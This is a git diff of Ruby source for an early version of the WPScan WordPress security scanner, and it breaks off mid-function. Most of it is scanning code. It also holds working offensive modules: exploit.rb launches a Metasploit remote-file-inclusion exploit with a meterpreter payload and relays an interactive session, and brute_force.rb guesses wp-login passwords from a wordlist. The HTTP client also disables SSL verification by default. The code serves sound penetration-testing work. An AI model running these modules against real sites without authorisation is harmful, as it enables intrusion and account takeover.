+class Browser + @@instance = nil + @@user_agent_modes = ["static", "semi-static", "random"] + + ACCESSOR_OPTIONS = [ + :user_agent, + :user_agent_mode, + :available_user_agents, + :proxy, + :max_threads, + :cache_timeout, + :request_timeout, + :variables_to_replace_in_url + ] + + attr_reader :hydra, :config_file + attr_accessor *ACCESSOR_OPTIONS + + def initialize(options = {}) + @config_file = options[:config_file] || CONF_DIR + '/browser.conf.json' + options.delete(:config_file) + + load_config() + + if options.length > 0 + override_config_with_options(options) + end + + @hydra = Typhoeus::Hydra.new(:max_concurrency => @max_threads, :timeout => @request_timeout) + # TODO : add an option for the cache dir instead of using a constant + @cache = CacheFileStore.new(CACHE_DIR + '/browser') + + @cache.clean + + # might be in CacheFileStore + setup_cache_handlers + end + private_class_method :new + + def self.instance(options = {}) + unless @@instance + @@instance = new(options) + end + @@instance + end + + def self.reset + @@instance = nil + end + + def user_agent_mode=(ua_mode) + ua_mode ||= "static" + + if @@user_agent_modes.include?(ua_mode) + @user_agent_mode = ua_mode + # For semi-static user agent mode, the user agent has to be nil the first time (it will be set with the getter) + @user_agent = nil if ua_mode === "semi-static" + else + raise "Unknow user agent mode : '#{ua_mode}'" + end + end + + # return the user agent, accordting to the user_agent_mode + def user_agent + case @user_agent_mode + when "semi-static" + unless @user_agent + @user_agent = @available_user_agents.sample + end + when "random" + @user_agent = @available_user_agents.sample + end + @user_agent + end + + def max_threads=(max_threads) + if max_threads.nil? or max_threads <= 0 + max_threads = 1 + end + @max_threads = max_threads + end + + # TODO reload hydra (if the .load_config is called on a browser object, hydra will not have the new @max_threads and @request_timeout) + def load_config(config_file = nil) + @config_file = config_file || @config_file + + data = JSON.parse(File.read(@config_file)) + + ACCESSOR_OPTIONS.each do |option| + option_name = option.to_s + + self.send(:"#{option_name}=", data[option_name]) + end + end + + def setup_cache_handlers + @hydra.cache_setter do |request| + @cache.write_entry( + Browser.generate_cache_key_from_request(request), + request.response, + request.cache_timeout + ) + end + + @hydra.cache_getter do |request| + @cache.read_entry(Browser.generate_cache_key_from_request(request)) rescue nil + end + end + private :setup_cache_handlers + + def get(url, params = {}) + run_request( + forge_request(url, params.merge(:method => :get)) + ) + end + + def post(url, params = {}) + run_request( + forge_request(url, params.merge(:method => :post)) + ) + end + + def forge_request(url, params = {}) + Typhoeus::Request.new( + replace_variables_in_url(url), + merge_request_params(params) + ) + end + + # return string + def replace_variables_in_url(url) + @variables_to_replace_in_url ||= {} + + @variables_to_replace_in_url.each do |subject, replacement| + url.gsub!(subject, replacement) + end + url + end + protected :replace_variables_in_url + + def merge_request_params(params = {}) + if @proxy + params = params.merge(:proxy => @proxy) + end + + if !params.has_key?(:disable_ssl_host_verification) + params = params.merge(:disable_ssl_host_verification => true) + end + + if !params.has_key?(:disable_ssl_peer_verification) + params = params.merge(:disable_ssl_peer_verification => true) + end + + if !params.has_key?(:headers) + params = params.merge(:headers => {'user-agent' => self.user_agent}) + elsif !params[:headers].has_key?('user-agent') + params[:headers]['user-agent'] = self.user_agent + end + + # Used to enable the cache system if :cache_timeout > 0 + if !params.has_key?(:cache_timeout) + params = params.merge(:cache_timeout => @cache_timeout) + end + + params + end + + private + + # return the response + def run_request(request) + @hydra.queue request + @hydra.run + request.response + end + + # Override with the options if they are set + def override_config_with_options(options) + options.each do |option, value| + #if ACCESSOR_OPTIONS.include?(option) + self.send(:"#{option}=", value) + #end + end + end + + # The Typhoeus::Request.cache_key only hash the url :/ + # this one will include the params + # TODO : include also the method (:get, :post, :any) + def self.generate_cache_key_from_request(request) + cache_key = request.cache_key + + if request.params + cache_key = Digest::SHA1.hexdigest("#{cache_key}-#{request.params.hash}") + end + + cache_key + end +end diff --git a/lib/cache_file_store.rb b/lib/cache_file_store.rb new file mode 100644 index 00000000..ad14b273 --- /dev/null +++ b/lib/cache_file_store.rb @@ -0,0 +1,52 @@ +# +# => @todo take consideration of the cache_timeout : +# -> create 2 files per key : one for the data storage (key.store ?) and the other for the cache timeout (key.expiration, key.timeout ?) +# or 1 file for all timeouts ? +# -> 2 dirs : 1 for storage, the other for cache_timeout ? +# + +require 'yaml' + +class CacheFileStore + attr_reader :storage_path, :serializer + + # The serializer must have the 2 methods .load and .dump (Marshal and YAML have them) + # YAML is Human Readable, contrary to Marshal which store in a binary format + # Marshal does not need any "require" + def initialize(storage_path, serializer = YAML) + @storage_path = File.expand_path(storage_path) + @serializer = serializer + + # File.directory? for ruby <= 1.9 otherwise, it makes more sense to do Dir.exist? :/ + if !File.directory?(@storage_path) + Dir.mkdir(@storage_path) + end + end + + def clean + Dir[File.join(@storage_path, '*')].each do |f| + File.delete(f) + end + end + + def read_entry(key) + entry_file_path = get_entry_file_path(key) + + if File.exists?(entry_file_path) + return @serializer.load(File.read(entry_file_path)) + end + end + + def write_entry(key, data_to_store, cache_timeout) + if (cache_timeout > 0) + File.open(get_entry_file_path(key), 'w') do |f| + f.write(@serializer.dump(data_to_store)) + end + end + end + + def get_entry_file_path(key) + @storage_path + '/' + key + end + +end diff --git a/lib/common_helper.rb b/lib/common_helper.rb new file mode 100644 index 00000000..7d3238f9 --- /dev/null +++ b/lib/common_helper.rb @@ -0,0 +1,85 @@ + +LIB_DIR = File.dirname(__FILE__) +ROOT_DIR = File.expand_path(LIB_DIR + '/..') # expand_path is used to get "wpscan/" instead of "wpscan/lib/../" +DATA_DIR = ROOT_DIR + "/data" +CONF_DIR = ROOT_DIR + "/conf" +CACHE_DIR = ROOT_DIR + "/cache" +WPSCAN_LIB_DIR = LIB_DIR + "/wpscan" +WPSTOOLS_LIB_DIR = LIB_DIR + "/wpstools" +UPDATER_LIB_DIR = LIB_DIR + "/updater" + +WPSCAN_VERSION = "1.1" + +require "#{LIB_DIR}/environment" + +# TODO : add an exclude pattern ? +def require_files_from_directory(absolute_dir_path, files_pattern = "*.rb") + Dir[File.join(absolute_dir_path, files_pattern)].sort.each do |f| + f = File.expand_path(f) + require f + #puts "require #{f}" # Used for debug + end +end + +# Add protocol +def add_http_protocol(url) + if url !~ /^https?:/ + url = "http://#{url}" + end + url +end + +def add_trailing_slash(url) + url = "#{url}/" if url !~ /\/$/ + url +end + +if RUBY_VERSION < "1.9" + class Array + # Fix for grep with symbols in ruby <= 1.8.7 + def _grep_(regexp) + matches = [] + self.each do |value| + value = value.to_s + matches << value if value.match(regexp) + end + matches + end + alias_method :grep, :_grep_ + end +end + +# loading the updater +require_files_from_directory(UPDATER_LIB_DIR) +@updater = UpdaterFactory.get_updater(ROOT_DIR) + +if @updater + REVISION = @updater.local_revision_number() +else + REVISION = "NA" +end + +# our 1337 banner +def banner() + puts '____________________________________________________' + puts " __ _______ _____ " + puts " \\ \\ / / __ \\ / ____| " + puts " \\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ " + puts " \\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | '_ \\ " + puts " \\ /\\ / | | ____) | (__| (_| | | | |" + puts " \\/ \\/ |_| |_____/ \\___|\\__,_|_| |_| v#{WPSCAN_VERSION}r#{REVISION}" + puts + puts " WordPress Security Scanner by the WPScan Team" + puts " Sponsored by the RandomStorm Open Source Initiative" + puts '_____________________________________________________' + puts + if RUBY_VERSION < "1.9" + puts "[WARNING] Ruby < 1.9 not officially supported, please upgrade." + puts + end + if @updater.is_a? SvnUpdater + # Uncomment the following lines when the git repo is up + #puts "[WARNING] The SVN repository is DEPRECATED, use the GIT one" + #puts + end +end diff --git a/lib/environment.rb b/lib/environment.rb new file mode 100644 index 00000000..76a669ec --- /dev/null +++ b/lib/environment.rb @@ -0,0 +1,34 @@ +begin + # Standard libs + require 'rubygems' + require 'getoptlong' + require 'uri' + require 'time' + require 'resolv' + require 'xmlrpc/client' + require 'digest/md5' + require 'readline' + require 'base64' + require 'cgi' + require 'rbconfig' + require 'pp' + # Third party libs + require 'typhoeus' + require 'json' + require 'nokogiri' + # Custom libs + require "#{LIB_DIR}/browser" + require "#{LIB_DIR}/cache_file_store" +rescue LoadError => e + puts "[ERROR] #{e}" + + if missing_gem = e.to_s[%r{ -- ([^\s]+)}, 1] + puts "[TIP] Try to run 'gem install #{missing_gem}' or 'gem install --user-install #{missing_gem}'. If you still get an error, Please see README file or http://code.google.com/p/wpscan/" + end + exit(1) +end + +if Typhoeus::VERSION == "0.4.0" + puts "Typhoeus 0.4.0 detected, please update the gem otherwise wpscan will not work correctly" + exit(1) +end diff --git a/lib/updater/git_updater.rb b/lib/updater/git_updater.rb new file mode 100644 index 00000000..42857d5e --- /dev/null +++ b/lib/updater/git_updater.rb @@ -0,0 +1,40 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +require File.expand_path(File.dirname(__FILE__) + '/updater') + +class GitUpdater < Updater + + def is_installed? + %x[git #{repo_directory_arguments()} status 2>&1] =~ /On branch/ ? true : false + end + + def local_revision_number + # TODO + end + + def update + %x[git #{repo_directory_arguments()} pull] + end + + protected + def repo_directory_arguments + '--git-dir="#{@repo_directory}.git" --work-tree="#{@repo_directory}"' + end + +end diff --git a/lib/updater/svn_updater.rb b/lib/updater/svn_updater.rb new file mode 100644 index 00000000..27fbacd4 --- /dev/null +++ b/lib/updater/svn_updater.rb @@ -0,0 +1,39 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +require File.expand_path(File.dirname(__FILE__) + '/updater') + +class SvnUpdater < Updater + + @@revision_pattern = /revision="(\d+)"/i + @@trunk_url = "https://wpscan.googlecode.com/svn/trunk" + + def is_installed? + %x[svn info "#{@repo_directory}" --xml 2>&1] =~ /revision=/ ? true : false + end + + def local_revision_number + local_revision = %x[svn info "#{@repo_directory}" --xml 2>&1] + local_revision[@@revision_pattern, 1].to_s + end + + def update + puts %x[svn up "#{@repo_directory}"] + end + +end diff --git a/lib/updater/updater.rb b/lib/updater/updater.rb new file mode 100644 index 00000000..d7d2fb57 --- /dev/null +++ b/lib/updater/updater.rb @@ -0,0 +1,47 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +# This class act as an absract one +class Updater + + attr_reader :repo_directory + + # TODO : add a last '/ to repo_directory if it's not present + def initialize(repo_directory = nil) + @repo_directory = repo_directory + end + + def is_installed? + raise_must_be_implemented() + end + + def local_revision_number + raise_must_be_implemented() + end + + def update + raise_must_be_implemented() + end + + protected + + def raise_must_be_implemented + raise "The method must be implemented" + end + +end diff --git a/lib/updater/updater_factory.rb b/lib/updater/updater_factory.rb new file mode 100644 index 00000000..da472feb --- /dev/null +++ b/lib/updater/updater_factory.rb @@ -0,0 +1,39 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +class UpdaterFactory + + def self.get_updater(repo_directory) + self.available_updaters_classes().each do |updater_symbol| + updater = Object.const_get(updater_symbol).new(repo_directory) + + if updater.is_installed? + return updater + end + end + nil + end + + protected + + # return array of class symbols + def self.available_updaters_classes + Object.constants.grep(/^.+Updater$/) + end + +end diff --git a/lib/wpscan/exploit.rb b/lib/wpscan/exploit.rb new file mode 100644 index 00000000..d91b2d6b --- /dev/null +++ b/lib/wpscan/exploit.rb @@ -0,0 +1,209 @@ +#!/usr/bin/env ruby + +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# ryandewhurst at gmail +# + +# This library should contain all methods for exploitation. + +class Exploit + + attr_accessor :rhost, :type, :uri, :postdata + + def initialize(wp_url, type, uri, postdata, use_proxy, proxy_addr, proxy_port) + @wp_url = URI.parse(wp_url.to_s) + @rhost = @wp_url.host + @path = @wp_url.path + @type = type + @uri = uri + @postdata = postdata + @session_in_use = nil + @use_proxy = use_proxy + @proxy_addr = proxy_addr + @proxy_port = proxy_port + start() + end + + # figure out what to exploit + + def start() + if @type == "RFI" + puts + puts "[?] Exploit? [y/n]" + answer = Readline.readline + if answer =~ /^y/i + msf_module = "exploit/unix/webapp/php_include" + payload = "php/meterpreter/bind_tcp" + exploit(msf_module, payload) + else + return false + end + elsif @type == "SQLI" + end + end + + # exploit + + def exploit(msf_module, payload) + + exploit_info(msf_module,payload) + + if @postdata == "" + result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:PAYLOAD => payload}) + else + result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:POSTDATA => @postdata, :PAYLOAD => payload}) + end + + if result['result'] == "success" + puts "[*] Exploit worked! Waiting for a session..." + + session_spawn_timer = Time.new + while sessions.nil? or sessions.empty? + # wait for a session to spawn with a timeout of 1 minute + if (Time.now - session_spawn_timer > 60) + puts "[ERROR] Session was not created... exiting." + return false + end + end + + choose_session() + + input = nil + while input.nil? + puts meterpreter_read(last_session_id()) + input = Readline.readline + if input == "exit" + kill_session(@session_in_use) + return false + end + meterpreter_write(last_session_id(), input) + input = nil + end + + else + puts "[ERROR] Exploit failed! :(" + return false + end + end + + # output our exploit data + + def exploit_info(msf_module,payload) + info = RpcClient.new.get_exploit_info(msf_module) + puts + puts "| [EXPLOIT]" + puts "| Name: " + info['name'] + puts "| Description: " + info['description'].gsub!("\t", "").gsub!("\n\n","\n").gsub!("\n", "\n| ").chop! + puts "| [OPTIONS]" + puts "| RHOST: " + @rhost + puts "| PATH: " + @path + puts "| URI: " + uri + puts "| POSTDATA: " + @postdata if @postdata != "" + puts "| Payload: " + payload + puts + end + + # not sure if this is needed?! not used. + + def job_id() + jobs = RpcClient.new.jobs() + puts jobs + end + + # all sessions and related session data + + def sessions() + sessions = RpcClient.new.sessions() + end + + # the last active session id created + + def last_session_id() + sessions.keys.last + end + + # a count of the amount of active sessions + + def session_count() + sessions().size + end + + # if there is more than 1 session, + # allow the user to choose one. + + def choose_session() + if session_count() >= 2 + puts "[?] We have " + session_count().to_s + " sessions running. Please choose one by id." + open_sessions = "" + sessions.keys.each do |open_session| + open_sessions += open_session.to_s + " " + end + puts open_sessions + use_session = Readline.readline + puts "Using session " + use_session.to_s + @session_in_use = use_session + else + puts "Using session " + last_session_id().to_s + @session_in_use = last_session_id() + end + end + + # kill a session by session id + + def kill_session(id) + begin + killed = RpcClient.new.kill_session(id) + if killed['result'] == "success" + puts "[-] Session " + id.to_s + " killed." + end + rescue + puts "[] Session " + id.to_s + " does not exist." + return false + end + end + + # read data from a shell, meterpreter is not classed + # as a shell. + + def read_shell(id) + RpcClient.new.read_shell(id)['data'] + end + + # write data to a shell, meterpreter is not classed + # as a shell. + + def write_shell(id, data) + RpcClient.new.write_shell(id, data) + end + + # read data from a meterpreter session + # data must be base64 decoded. + + def meterpreter_read(id) + Base64.decode64(RpcClient.new.meterpreter_read(id)['data']) + end + + # write data to a meterpreter session + # data must be base64 encoded. + + def meterpreter_write(id, data) + RpcClient.new.meterpreter_write(id, Base64.encode64(data)) + end + +end diff --git a/lib/wpscan/modules/brute_force.rb b/lib/wpscan/modules/brute_force.rb new file mode 100644 index 00000000..6fa3f4d7 --- /dev/null +++ b/lib/wpscan/modules/brute_force.rb @@ -0,0 +1,116 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# ryandewhurst at gmail +# + +module BruteForce + + # param array of string logins + # param string wordlist_path + def brute_force(logins, wordlist_path) + hydra = Browser.instance.hydra + number_of_passwords = BruteForce.lines_in_file(wordlist_path) + login_url = login_url() + + logins.each do |login| + queue_count = 0 + request_count = 0 + password_found = false + + File.open(wordlist_path, 'r').each do |password| + + # ignore file comments, but will miss passwords if they start with a hash... + next if password[0,1] == '#' + + # keep a count of the amount of requests to be sent + request_count += 1 + queue_count += 1 + + # create local vars for on_complete call back, Issue 51. + username = login + password = password + + # the request object + request = Browser.instance.forge_request(login_url, + :method => :post, + :params => {:log => username, :pwd => password}, + :cache_timeout => 0 + ) + + # tell hydra what to do when the request completes + request.on_complete do |response| + + puts "\n Trying Username : #{username} Password : #{password}" if @verbose + + if response.body =~ /login_error/i + puts "\nIncorrect username and/or password." if @verbose + elsif response.code == 302 + puts "\n [SUCCESS] Username : #{username} Password : #{password}\n" + password_found = true + elsif response.timed_out? + puts "ERROR: Request timed out." + elsif response.code == 0 + puts "ERROR: No response from remote server. WAF/IPS?" + elsif response.code =~ /^50/ + puts "ERROR: Server error, try reducing the number of threads." + else + puts "\nERROR: We recieved an unknown response for #{password}..." + if @verbose + puts 'Code: ' + response.code.to_s + puts 'Body: ' + response.body + puts + end + end + end + + # move onto the next username if we have found a valid password + break if password_found + + # queue the request to be sent later + hydra.queue(request) + + # progress indicator + print "\r Brute forcing user '#{username}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete." + + # it can take a long time to queue 2 million requests, + # for that reason, we queue @threads, send @threads, queue @threads and so on. + # hydra.run only returns when it has recieved all of its, + # responses. This means that while we are waiting for @threads, + # responses, we are waiting... + if queue_count >= Browser.instance.max_threads + hydra.run + queue_count = 0 + puts "Sent #{Browser.instance.max_threads} requests ..." if @verbose + end + end + + # run all of the remaining requests + hydra.run + end + + end + + # Counts the number of lines in the wordlist + # It can take a couple of minutes on large + # wordlists, although bareable. + def self.lines_in_file(file_path) + lines = 0 + File.open(file_path, 'r').each { |line| lines += 1 } + lines + end +end diff --git a/lib/wpscan/modules/malwares.rb b/lib/wpscan/modules/malwares.rb new file mode 100644 index 00000000..a44721c1 --- /dev/null +++ b/lib/wpscan/modules/malwares.rb @@ -0,0 +1,59 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +module Malwares + # Used as cache : nil => malwares not checked, [] => no malwares, otherwise array of malwares url found + @malwares = nil + + def has_malwares?(malwares_file_path = nil) + !malwares(malwares_file_path).empty? + end + + # return array of string (url of malwares found) + def malwares(malwares_file_path = nil) + if @malwares.nil? + malwares_found = [] + malwares_file = Malwares.malwares_file(malwares_file_path) + index_page_body = Browser.instance.get(@uri.to_s).body + + File.open(malwares_file, 'r') do |file| + file.readlines.collect do |url| + chomped_url = url.chomp + + if chomped_url.length > 0 + malwares_found += index_page_body.scan(Malwares.malware_pattern(chomped_url)) + end + end + end + + malwares_found.flatten! + malwares_found.uniq! + + @malwares = malwares_found + end + @malwares + end + + def self.malwares_file(malwares_file_path) + malwares_file_path || DATA_DIR + '/malwares.txt' + end + + def self.malware_pattern(url) + %r{<(?:script|iframe).* src=(?:"|')(#{url}[^"']*)(?:"|')[^>]*>}i + end +end diff --git a/lib/wpscan/modules/web_site.rb b/lib/wpscan/modules/web_site.rb new file mode 100644 index 00000000..008ccb20 --- /dev/null +++ b/lib/wpscan/modules/web_site.rb @@ -0,0 +1,68 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +module WebSite + + # check if the remote website is + # actually running wordpress. + def is_wordpress? + wordpress = false + + response = Browser.instance.get(login_url(), + :follow_location => true, + :max_redirects => 2 + ) + + if response.body =~ %r{WordPress}i + wordpress = true + else + response = Browser.instance.get(xmlrpc_url(), + :follow_location => true, + :max_redirects => 2 + ) + + if response.body =~ %r{XML-RPC server accepts POST requests only}i + wordpress = true + end + end + + wordpress + end + + def xmlrpc_url + @uri.merge("xmlrpc.php").to_s + end + + # Checks if the remote website is up. + def is_online? + Browser.instance.get(@uri.to_s).code != 0 + end + + # see if the remote url returns 30x redirect + # return a string with the redirection or nil + def redirection(url = nil) + url ||= @uri.to_s + response = Browser.instance.get(url) + + if response.code == 301 || response.code == 302 + redirection = response.headers_hash['location'] + end + + redirection + end +end diff --git a/lib/wpscan/modules/wp_config_backup.rb b/lib/wpscan/modules/wp_config_backup.rb new file mode 100644 index 00000000..7bf09612 --- /dev/null +++ b/lib/wpscan/modules/wp_config_backup.rb @@ -0,0 +1,56 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +module WpConfigBackup + + # Checks to see if wp-config.php has a backup + # See http://www.feross.org/cmsploit/ + # return an array of backup config files url + def config_backup + found = [] + backups = WpConfigBackup.config_backup_files + browser = Browser.instance + hydra = browser.hydra + + backups.each do |file| + file_url = @uri.merge(URI.escape(file)).to_s + request = browser.forge_request(file_url) + + request.on_complete do |response| + if response.body[%r{define}i] and not response.body[%r{<\s?html}i] + found << file_url + end + end + + hydra.queue(request) + end + + hydra.run + + found + end + + # @return Array + def self.config_backup_files + [ + 'wp-config.php~','#wp-config.php#','wp-config.php.save','wp-config.php.swp','wp-config.php.swo','wp-config.php_bak', + 'wp-config.bak', 'wp-config.php.bak', 'wp-config.save' + ] # thanks to Feross.org for these + end + +end diff --git a/lib/wpscan/modules/wp_full_path_disclosure.rb b/lib/wpscan/modules/wp_full_path_disclosure.rb new file mode 100644 index 00000000..bf2e4a05 --- /dev/null +++ b/lib/wpscan/modules/wp_full_path_disclosure.rb @@ -0,0 +1,30 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +module WpFullPathDisclosure + + # Check for Full Path Disclosure (FPD) + def has_full_path_disclosure? + response = Browser.instance.get(full_path_disclosure_url()) + response.body[%r{Fatal error}i] + end + + def full_path_disclosure_url + @uri.merge("wp-includes/rss-functions.php").to_s + end +end diff --git a/lib/wpscan/modules/wp_login_protection.rb b/lib/wpscan/modules/wp_login_protection.rb new file mode 100644 index 00000000..a779cf74 --- /dev/null +++ b/lib/wpscan/modules/wp_login_protection.rb @@ -0,0 +1,109 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +module WpLoginProtection + + @@login_protection_method_pattern = /^has_(.*)_protection\?/i + # Used as cache + @login_protection_plugin = nil + + def has_login_protection? + !login_protection_plugin().nil? + end + + # Checks if a login protection plugin is enabled + # http://code.google.com/p/wpscan/issues/detail?id=111 + # return a WpPlugin object or nil if no one is found + def login_protection_plugin + unless @login_protection_plugin + protected_methods.grep(@@login_protection_method_pattern).each do |symbol_to_call| + + if send(symbol_to_call) + plugin_name = symbol_to_call[@@login_protection_method_pattern, 1].gsub('_', '-') + + return @login_protection_plugin = WpPlugin.new( + WpPlugin::create_location_url_from_name( + plugin_name, + @uri.to_s + ), + :name => plugin_name + ) + end + end + @login_protection_plugin = nil + end + @login_protection_plugin + end + + protected + # Thanks to Alip Aswalid for providing this method. + # http://wordpress.org/extend/plugins/login-lockdown/ + def has_login_lockdown_protection? + Browser.instance.get(login_url()).body =~ %r{Login LockDown}i ? true : false + end + + # http://wordpress.org/extend/plugins/login-lock/ + def has_login_lock_protection? + Browser.instance.get(login_url()).body =~ %r{LOGIN LOCK} ? true : false + end + + # http://wordpress.org/extend/plugins/better-wp-security/ + def has_better_wp_security_protection? + Browser.instance.get(better_wp_security_url()).code != 404 + end + + def better_wp_security_url + WpPlugin.create_location_url_from_name("better-wp-security", @uri) + end + + # http://wordpress.org/extend/plugins/simple-login-lockdown/ + def has_simple_login_lockdown_protection? + Browser.instance.get(simple_login_lockdown_url()).code != 404 + end + + def simple_login_lockdown_url + WpPlugin.create_location_url_from_name("simple-login-lockdown", @uri) + end + + # http://wordpress.org/extend/plugins/login-security-solution/ + def has_login_security_solution_protection? + Browser.instance.get(login_security_solution_url()).code != 404 + end + + def login_security_solution_url + WpPlugin.create_location_url_from_name("login-security-solution", @uri) + end + + # http://wordpress.org/extend/plugins/limit-login-attempts/ + def has_limit_login_attempts_protection? + Browser.instance.get(limit_login_attempts_url()).code != 404 + end + + def limit_login_attempts_url + WpPlugin.create_location_url_from_name("limit-login-attempts", @uri) + end + + # http://wordpress.org/extend/plugins/bluetrait-event-viewer/ + def has_bluetrait_event_viewer_protection? + Browser.instance.get(bluetrait_event_viewer_url()).code != 404 + end + + def bluetrait_event_viewer_url + WpPlugin.create_location_url_from_name("bluetrait-event-viewer", @uri) + end +end diff --git a/lib/wpscan/modules/wp_plugins.rb b/lib/wpscan/modules/wp_plugins.rb new file mode 100644 index 00000000..1e573bf7 --- /dev/null +++ b/lib/wpscan/modules/wp_plugins.rb @@ -0,0 +1,130 @@ +# +# WPScan - WordPress Security Scanner +# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +module WpPlugins + + # Enumerate installed plugins. + # Available options : see #targets_url + # + # return array of WpPlugin + def plugins_from_aggressive_detection(options = {}) + browser = Browser.instance + hydra = browser.hydra + found_plugins = options[:only_vulnerable_ones] ? [] : plugins_from_passive_detection() + request_count = 0 + queue_count = 0 + local_404_hash = error_404_hash() + valid_response_codes = WpPlugins.valid_response_codes() + targets_url = plugins_targets_url(options) + + targets_url.each do |target_url| + request = browser.forge_request(target_url, :cache_timeout => 0, :follow_location => true) + request_count += 1 